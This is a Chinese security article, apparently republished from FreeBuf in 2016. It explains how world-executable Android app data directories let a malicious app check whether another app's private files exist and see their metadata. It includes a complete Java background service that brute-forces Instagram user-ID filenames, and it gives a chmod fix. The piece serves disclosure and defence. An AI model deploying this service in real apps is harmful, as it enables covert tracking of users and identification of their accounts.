都是權限惹的禍:安卓惡意APP如何將其他APP中的私有數(shù)據(jù)搞到手

責任編輯:editor005

作者:Alpha_h4ck

2016-09-18 15:11:20

摘自:黑客與極客

下面要介紹的惡意軟件可以讀取Android手機中其他app的文件元數(shù)據(jù),例如文件的名稱、大小、以及最后修改日期等等。

前言

下面要介紹的惡意軟件可以讀取Android手機中其他app的文件元數(shù)據(jù),例如文件的名稱、大小、以及最后修改日期等等。如果文件名中含有敏感信息的標識,那么這款惡意app會將這份文件識別為敏感文件,并且還可以對其進行暴力破解攻擊。除此之外,它還可以通過分析其他app私有文件的大小和最后修改日期這兩部分數(shù)據(jù),來對其他app的使用情況進行實時監(jiān)控。

實際上,從Android操作系統(tǒng)的誕生之日起,其文件系統(tǒng)中就一直存在著權限問題。當我將該漏洞提交給Google公司之后,Google將這一漏洞歸類為了“低危漏洞”,并且給我提供了五百美元的漏洞獎金。

我寫這篇文章的目的只是為了拋磚引玉,希望能給大家提供一個關于處理Android安全問題的思路。

問題分析

Android App的私有數(shù)據(jù)默認會保存在“/data/data/”目錄下,其他的App沒有權限訪問存儲在該目錄下的數(shù)據(jù)。接下來,我們用Youtube App來舉個例子。

Android端的Youtube應用程序會將其私有數(shù)據(jù)保存在目錄“/data/data/com.google.android.youtube/”之下。現(xiàn)在,讓我們從根目錄開始分析一下整個文件系統(tǒng)中各個文件的權限:

/data/drwxrwx--x system system 2015-11-30 20:30data

/data/data/drwxrwx--x system system 2015-11-29 15:34data

/data/data/com.google.android.youtube

drwxr-x--x u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube

/data/data/com.google.android.youtube/*

drwxrwx--x u0_a77 u0_a77 2015-11-08 18:15app_sslcache

drwxrwx--x u0_a77 u0_a77 2015-11-30 19:54cache

drwxrwx--x u0_a77 u0_a77 2015-11-29 13:06 databases

drwxrwx--x u0_a77 u0_a77 2015-11-12 12:10files

lrwxrwxrwx install install 2015-11-29 11:02lib -> /data/app-lib/com.google.android.youtube-1

drwxrwx--x u0_a77 u0_a77 2015-11-30 19:54shared_prefs

我們可以從上面這部分信息中看到,在整個目錄結構中,每一個文件目錄都給設備用戶提供了完整的執(zhí)行權限(+x)。

而我們也知道,所謂的執(zhí)行權限,就是允許設備用戶可以直接運行目標文件的權限。如果將該權限賦予了某一文件目錄的話,也就意味著用戶只要知道文件夾下具體的文件名,可以直接通過文件名來訪問該目錄下的文件內容和元數(shù)據(jù)。但此時還無法直接進入文件夾,以及訪問該目錄下的文件數(shù)據(jù),因為這樣的操作將需要相應的讀取權限。

分析結果表明:其他的用戶可以使用“cd”命令來進入這些目錄,但是無法通過“ls”命令來獲取該目錄下的所有文件(沒有讀取權限)。當然了,用戶也無法直接在該目錄下創(chuàng)建新的文件,因為這將需要文件目錄的寫入權限(+w):

u0_a84@mako:/data/data $ ls -la

opendir failed, Permission denied

u0_a84@mako:/data/data $ cd com.google.android.youtube

u0_a84@mako:/data/data/com.google.android.youtube $ ls -la

opendir failed, Permission denied

u0_a84@mako:/data/data/com.google.android.youtube $ cdwrongdir

/system/bin/sh: [22]: cd:/data/data/com.google.android.youtube/wrongdir: No such file or directory

u0_a84@mako:/data/data/com.google.android.youtube $ cdshared_prefs

u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ ls -la

opendir failed, Permission denied

u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ echo “test” >test.xml

/system/bin/sh: [31]: can't create test.xml:Permission denied

但是,如上所述,如果我們能夠提前獲取到目標文件的名稱,那么我們就可以列出該文件,并獲取目標文件的元數(shù)據(jù)了。接下來,我們還是繼續(xù)分析Youtube App。在默認情況下,該App會在“/data/data/com.google.android.youtube/” 目錄下的“shared_prefs”文件夾中生成一個名為“youtube.xml”的文件。雖然很多其他的App可以列出這個文件,但是由于權限的問題,所以這些App是無法讀取這份文件的:

u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ ls -la youtube.xml

-rw-rw---- u0_a77 u0_a77 6680 2015-11-30 19:54youtube.xml

u0_a84@mako:/data/data/com.google.android.youtube/shared_prefs$ cat youtube.xml

/system/bin/sh: [28]: cat: youtube.xml:Permission denied

正如上面這段信息所示,任何惡意App都可以做到下面這兩件事情:

1. 通過“ls”命令來查看其他App的某些私有文件是否存在于文件系統(tǒng)中,但前提是要知道目標文件的文件名稱;

2. 獲取到這些私有文件的大小和最后修改日期;

這絕對是一個安全漏洞,因為我們可以通過以下兩種不同的方式來利用這個漏洞:

1. 惡意App可以可以通過監(jiān)視特定的私有文件來實時監(jiān)控某些App的使用情況。比如說,如果惡意App想要知道Android設備的用戶一般在何時打開Youtube客戶端,那么它就可以定期檢查Youtube客戶端“shared_prefs”目錄下的“youtube.xml”文件,并從獲取到的文件大小和最后修改日期來判斷用戶的使用習慣。因為當用戶打開Youtube客戶端時,這個文件將會被修改。因此,惡意App還可以通過這個漏洞來分析某些應用程序的使用情況。

2. 如果某個合法的App選擇將敏感數(shù)據(jù)保存在一個文件中,而文件名稱一看就知道是用來存儲敏感數(shù)據(jù)的話,那么惡意App就可以選擇對該文件進行暴力破解攻擊。比如說,Instagram和Facebook會使用用戶ID(USERID)來標識某些敏感文件。不光是這兩個App,很多其他的App也會采用這樣的方式來處理敏感文件,這種情況我已經(jīng)見過很多次了。

Instagram:/data/data/com.instagram.android/shared_prefs/.xml

Facebook:/data/data/com.facebook.katana/shared_prefs/XStorage-LATEST-.xml

比如說Instagram,用戶ID標識符(USERID)的范圍在0-2500000000之間,所以惡意App可以通過暴力破解的手段直接在本地發(fā)動攻擊。惡意App可以利用下面這段Android代碼來在后臺對用戶標識符進行暴力破解攻擊:

import java.io.File;

import java.math.BigInteger;

import android.app.Service;

import android.content.Intent;

import android.os.IBinder;

import android.util.Log;

public class MyService extends Service {

@Override

public intonStartCommand(Intent intent, int flags, int startId) {

newThread(new Runnable() {

publicvoid run() {

Log.v("brute", "Bruteforce started");

BigInteger begin = BigInteger.ZERO;

BigInteger end = new BigInteger("2500000000");

String dirPath ="/data/data/com.instagram.android/shared_prefs/";

while(begin.compareTo(end) != 1) {

String filename= begin.toString() + ".xml";

File test = newFile(dirPath,filename);

if(test.exists()) {

Log.v("brute", "Account found: " +begin.toString());

}

begin =begin.add(BigInteger.ONE);

}

Log.v("brute", "Bruteforce ended");

}

}).start();

returnService.START_STICKY;

}

@Override

public IBinderonBind(Intent intent) {

//TODO Auto-generated method stub

returnnull;

}

}

當上面這段代碼所加載的服務被開啟之后,惡意App將會被關閉,在后臺進行暴力破解攻擊的任務就轉交給了這個服務來進行。我們在Nexus4手機上進行了攻擊模擬,我們遍歷了2500000000個可能的文件,總共花費了五天左右的時間,最終成功找到了正確的文件:

當用戶感染了這一惡意軟件之后,攻擊者就可以通過這樣的方式來獲取到用戶的網(wǎng)絡服務ID,進而查找出用戶的賬號。受影響的可能是Facebook、QQ、Youtube、以及微信這樣的社交媒體類App,也有可能是金融類的銀行App。值得注意的是,Instagram還包含有一個ContentProvider(com.instagram.contentprovider.CurrentUserProvider),可以用來查詢用戶注冊賬號的USERID,但是默認情況下Instagram是禁止其他App使用這個ContentProvider的。

但是很明顯,Instagram這樣做的目的肯定不是為了將用戶的敏感數(shù)據(jù)泄露給其他的App。

這個漏洞是我當初在檢測InstagramApp的時候發(fā)現(xiàn)的,如果大家對Instagram客戶端中存在的其他安全問題感興趣的話,歡迎各位同學閱讀這篇文章[傳送門]。

解決方案

這個問題其實也很好解決,我們只需要移除“/data/data/”目錄下App文件夾的執(zhí)行權限(+x),就可以解決這個問題了,這樣也可以有效地防止攻擊者通過“cd”命令和“ls”命令來獲取文件目錄下的文件基本信息。

修復前的狀態(tài):

u0_a84@mako:/data/data $ cd com.google.android.youtube

u0_a84@mako:/data/data/com.google.android.youtube $ cd ..

u0_a84@mako:/data/data $ ls -lacom.google.android.youtube/shared_prefs/youtube.xml

-rw-rw---- u0_a77 u0_a77 6680 2015-11-30 19:54youtube.xml

修復過程:

root@mako:/data/data # ls -la | grep youtube

drwxr-x--x u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube

root@mako:/data/data # chmod 750com.google.android.youtube

root@mako:/data/data # ls -la | grep youtube

drwxr-x--- u0_a77 u0_a77 2015-11-29 11:02com.google.android.youtube

修復后的狀態(tài):

u0_a84@mako:/data/data $ cd com.google.android.youtube

/system/bin/sh: [25]: cd:/data/data/com.google.android.youtube: Permission denied

u0_a84@mako:/data/data $ ls -lacom.google.android.youtube/shared_prefs/youtube.xml

com.google.android.youtube/shared_prefs/youtube.xml:Permission denied

* 參考來源:arneswinnen,本文由Alpha_h4ck編譯,轉載請注明來自FreeBuf(Freebuf.COM)

鏈接已復制,快去分享吧

企業(yè)網(wǎng)版權所有?2010-2024 京ICP備09108050號-6京公網(wǎng)安備 11010502049343號